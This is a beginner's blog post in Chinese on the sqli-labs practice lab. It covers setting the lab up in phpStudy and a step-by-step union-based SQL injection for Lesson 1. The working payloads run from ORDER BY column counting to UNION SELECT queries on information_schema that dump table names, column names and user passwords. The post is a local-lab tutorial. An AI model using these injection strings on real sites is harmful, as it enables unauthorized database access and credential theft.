sqli-labs学习sql注入

sqli-labs的安装和配置

下载sqli-labs和phpstudy(注意PHP study版本不能高于8.0,不然容易出错,本人就是PHP study版本高了,一直出错)
下载完成后将sqli-labs解压放在PHP study的WWW文件夹下
在这里插入图片描述
打开sqli-labs-master\sql-connections,在里面有一个db-creds.inc文档,打开编辑
在这里插入图片描述
一般默认用户名、密码都是root,更改过的话输入自己更改后的就行。接下来浏览器输入http://localhost/sqli-labs-master打开
在这里插入图片描述
点击Setup/reset Database for labs
在这里插入图片描述
出现这个就代表成功了。

联合查询注入法

在sql注入时应该记住的一些东西
information_schema库存放了所有库的信息
information_schema.columns包含了所有表的字段
table_name表名
table_schema数据库名
column_name列名
information_schema.tables包含所有库的表名
group_concat()函数能将相同的行组合起来,省老事了。

联合查询注入的原理
联合查询注入的前提就是要有显示位(通过查询从数据库返回到页面的内容)。
因本人为萌新一枚,在这里就以sqli-labs(一)为例子进行说明。
打开网站,进入Lesson 1
在这里插入图片描述
1、判断注入点
闭合符号一般是’、"、’)、")或者没有闭合符号,而注释符号一般是 --+
在搜索框内输入?id=1’,发现提示错误。
在这里插入图片描述
用注释符号–+注释后发现正常

在这里插入图片描述
说明注入点是单引号’
2、判断列数
在输入框内输入id=1,2,3;时,均有不同的数据返回。然后输入

http://http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

发现
在这里插入图片描述
说明一共有三列
3、联合查询开始
输入

?id=0' union select 1,2,3 --+

在这里的意思是将id的值等于一个在数据库中不存在的数,通过联合查询可以看出输入的数据会在哪里显示出来。
在这里插入图片描述
结果显示出了2 3的位置,所以在2 3位置我们便可以输入我们想用的句子。
爆数据库
爆数据库时可以通过一个**database()**语句来查看当前的数据库

?id=0' union select 1,database(),3 --+

在这里插入图片描述
爆数据表
在上面说的一些语句,这里就要用到了
既然是爆数据表,首先就需要一个group_concat()函数加一个数据表名table_name,然后还需要指定一个来源,而来源就是所有库的表名从上面爆出来的数据库中

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
爆字段

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
爆值

?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

在这里插入图片描述
这样,值就被爆出来了!
后续更改:
改正了之前文章编辑时的错误。

sql-labs
第二关:闭合符号:'
第三关闭合符号:')
第四关闭合符号:")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值